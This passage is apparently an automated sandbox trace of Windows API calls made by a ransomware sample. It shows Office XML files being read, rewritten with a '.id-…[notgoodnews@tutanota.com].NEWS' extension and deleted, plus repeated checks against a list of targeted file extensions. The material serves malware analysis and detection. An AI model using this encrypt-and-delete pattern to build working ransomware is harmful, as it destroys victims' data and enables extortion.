Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.084] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.084] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.085] GetLastError () returned 0x0 [0061.085] ReadFile (in: hFile=0x214, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x5061, lpOverlapped=0x0) returned 1 [0061.123] WriteFile (in: hFile=0x1f0, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0061.125] ReadFile (in: hFile=0x214, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.126] WriteFile (in: hFile=0x1f0, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.126] SetEndOfFile (hFile=0x1f0) returned 1 [0061.126] CloseHandle (hObject=0x1f0) returned 1 [0061.127] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.127] SetEndOfFile (hFile=0x214) returned 1 [0061.129] CloseHandle (hObject=0x214) returned 1 [0061.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.130] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0061.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0061.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0061.130] lstrlenW (lpString=".doc") returned 4 [0061.130] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.130] lstrlenW (lpString=".docx") returned 5 [0061.130] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0061.130] lstrlenW (lpString=".pdf") returned 4 [0061.130] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.130] lstrlenW (lpString=".xls") returned 4 [0061.130] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.130] lstrlenW (lpString=".xlsx") returned 5 [0061.130] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0061.130] lstrlenW (lpString=".ppt") returned 4 [0061.131] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0061.131] lstrlenW (lpString=".zip") returned 4 [0061.131] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.131] lstrlenW (lpString=".rar") returned 4 [0061.131] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.131] lstrlenW (lpString=".bz2") returned 4 [0061.131] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.131] lstrlenW (lpString=".7z") returned 3 [0061.131] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0061.131] lstrlenW (lpString=".dbf") returned 4 [0061.131] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0061.131] lstrlenW (lpString=".1cd") returned 4 [0061.131] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0061.131] lstrlenW (lpString=".jpg") returned 4 [0061.131] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0061.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0061.132] lstrlenW (lpString=".doc") returned 4 [0061.132] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.132] lstrlenW (lpString=".docx") returned 5 [0061.132] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0061.132] lstrlenW (lpString=".pdf") returned 4 [0061.132] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.132] lstrlenW (lpString=".xls") returned 4 [0061.132] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.132] lstrlenW (lpString=".xlsx") returned 5 [0061.132] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0061.132] lstrlenW (lpString=".ppt") returned 4 [0061.132] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0061.132] lstrlenW (lpString=".zip") returned 4 [0061.132] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.132] lstrlenW (lpString=".rar") returned 4 [0061.132] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.132] lstrlenW (lpString=".bz2") returned 4 [0061.133] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.133] lstrlenW (lpString=".7z") returned 3 [0061.133] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0061.133] lstrlenW (lpString=".dbf") returned 4 [0061.133] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0061.133] lstrlenW (lpString=".1cd") returned 4 [0061.133] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0061.133] lstrlenW (lpString=".jpg") returned 4 [0061.133] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.133] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0061.133] lstrlenW (lpString="VisiorWW.XML") returned 12 [0061.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.134] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=8723) returned 1 [0061.134] CloseHandle (hObject=0x214) returned 1 [0061.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0061.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.134] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.135] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0061.152] GetLastError () returned 0x0 [0061.152] ReadFile (in: hFile=0x214, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x2213, lpOverlapped=0x0) returned 1 [0061.454] WriteFile (in: hFile=0x210, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0061.585] ReadFile (in: hFile=0x214, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.585] WriteFile (in: hFile=0x210, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.585] SetEndOfFile (hFile=0x210) returned 1 [0061.585] CloseHandle (hObject=0x210) returned 1 [0061.586] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.587] SetEndOfFile (hFile=0x214) returned 1 [0061.589] CloseHandle (hObject=0x214) returned 1 [0061.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.590] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0061.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0061.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0061.590] lstrlenW (lpString=".doc") returned 4 [0061.590] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.590] lstrlenW (lpString=".docx") returned 5 [0061.590] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0061.590] lstrlenW (lpString=".pdf") returned 4 [0061.590] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.590] lstrlenW (lpString=".xls") returned 4 [0061.590] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.590] lstrlenW (lpString=".xlsx") returned 5 [0061.590] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0061.590] lstrlenW (lpString=".ppt") returned 4 [0061.591] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0061.591] lstrlenW (lpString=".zip") returned 4 [0061.591] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.591] lstrlenW (lpString=".rar") returned 4 [0061.591] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.591] lstrlenW (lpString=".bz2") returned 4 [0061.591] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.591] lstrlenW (lpString=".7z") returned 3 [0061.591] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0061.591] lstrlenW (lpString=".dbf") returned 4 [0061.591] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0061.591] lstrlenW (lpString=".1cd") returned 4 [0061.591] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0061.591] lstrlenW (lpString=".jpg") returned 4 [0061.591] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0061.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0061.591] lstrlenW (lpString=".doc") returned 4 [0061.592] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.592] lstrlenW (lpString=".docx") returned 5 [0061.592] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0061.592] lstrlenW (lpString=".pdf") returned 4 [0061.592] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.592] lstrlenW (lpString=".xls") returned 4 [0061.592] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.592] lstrlenW (lpString=".xlsx") returned 5 [0061.592] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0061.592] lstrlenW (lpString=".ppt") returned 4 [0061.592] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0061.592] lstrlenW (lpString=".zip") returned 4 [0061.592] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.592] lstrlenW (lpString=".rar") returned 4 [0061.592] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.592] lstrlenW (lpString=".bz2") returned 4 [0061.592] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.592] lstrlenW (lpString=".7z") returned 3 [0061.592] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0061.592] lstrlenW (lpString=".dbf") returned 4 [0061.592] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0061.593] lstrlenW (lpString=".1cd") returned 4 [0061.593] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0061.593] lstrlenW (lpString=".jpg") returned 4 [0061.593] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.593] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0061.593] lstrlenW (lpString="TIME.XML") returned 8 [0061.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.594] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=8564) returned 1 [0061.594] CloseHandle (hObject=0x214) returned 1 [0061.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0061.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.594] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.594] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0061.595] GetLastError () returned 0x0 [0061.595] ReadFile (in: hFile=0x214, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x2174, lpOverlapped=0x0) returned 1 [0061.697] WriteFile (in: hFile=0x210, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0061.699] ReadFile (in: hFile=0x214, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.699] WriteFile (in: hFile=0x210, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0061.699] SetEndOfFile (hFile=0x210) returned 1 [0061.699] CloseHandle (hObject=0x210) returned 1 [0061.700] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.700] SetEndOfFile (hFile=0x214) returned 1 [0061.702] CloseHandle (hObject=0x214) returned 1 [0061.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.702] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0061.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0061.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0061.702] lstrlenW (lpString=".doc") returned 4 [0061.703] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.703] lstrlenW (lpString=".docx") returned 5 [0061.703] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0061.703] lstrlenW (lpString=".pdf") returned 4 [0061.703] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.703] lstrlenW (lpString=".xls") returned 4 [0061.703] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.703] lstrlenW (lpString=".xlsx") returned 5 [0061.703] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0061.703] lstrlenW (lpString=".ppt") returned 4 [0061.703] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0061.703] lstrlenW (lpString=".zip") returned 4 [0061.703] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.703] lstrlenW (lpString=".rar") returned 4 [0061.703] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.703] lstrlenW (lpString=".bz2") returned 4 [0061.703] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.703] lstrlenW (lpString=".7z") returned 3 [0061.703] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0061.704] lstrlenW (lpString=".dbf") returned 4 [0061.704] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0061.704] lstrlenW (lpString=".1cd") returned 4 [0061.704] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0061.704] lstrlenW (lpString=".jpg") returned 4 [0061.704] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0061.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0061.704] lstrlenW (lpString=".doc") returned 4 [0061.704] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.704] lstrlenW (lpString=".docx") returned 5 [0061.704] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0061.704] lstrlenW (lpString=".pdf") returned 4 [0061.704] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.704] lstrlenW (lpString=".xls") returned 4 [0061.704] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.704] lstrlenW (lpString=".xlsx") returned 5 [0061.705] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0061.705] lstrlenW (lpString=".ppt") returned 4 [0061.705] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0061.705] lstrlenW (lpString=".zip") returned 4 [0061.705] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.705] lstrlenW (lpString=".rar") returned 4 [0061.705] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.705] lstrlenW (lpString=".bz2") returned 4 [0061.705] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.705] lstrlenW (lpString=".7z") returned 3 [0061.705] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0061.705] lstrlenW (lpString=".dbf") returned 4 [0061.705] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0061.705] lstrlenW (lpString=".1cd") returned 4 [0061.705] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0061.705] lstrlenW (lpString=".jpg") returned 4 [0061.705] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.706] lstrcmpiW (lpString1=".XSL", lpString2=".NEWS") returned 1 [0061.706] lstrlenW (lpString="BASMLA.XSL") returned 10 [0061.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.706] GetFileSizeEx (in: 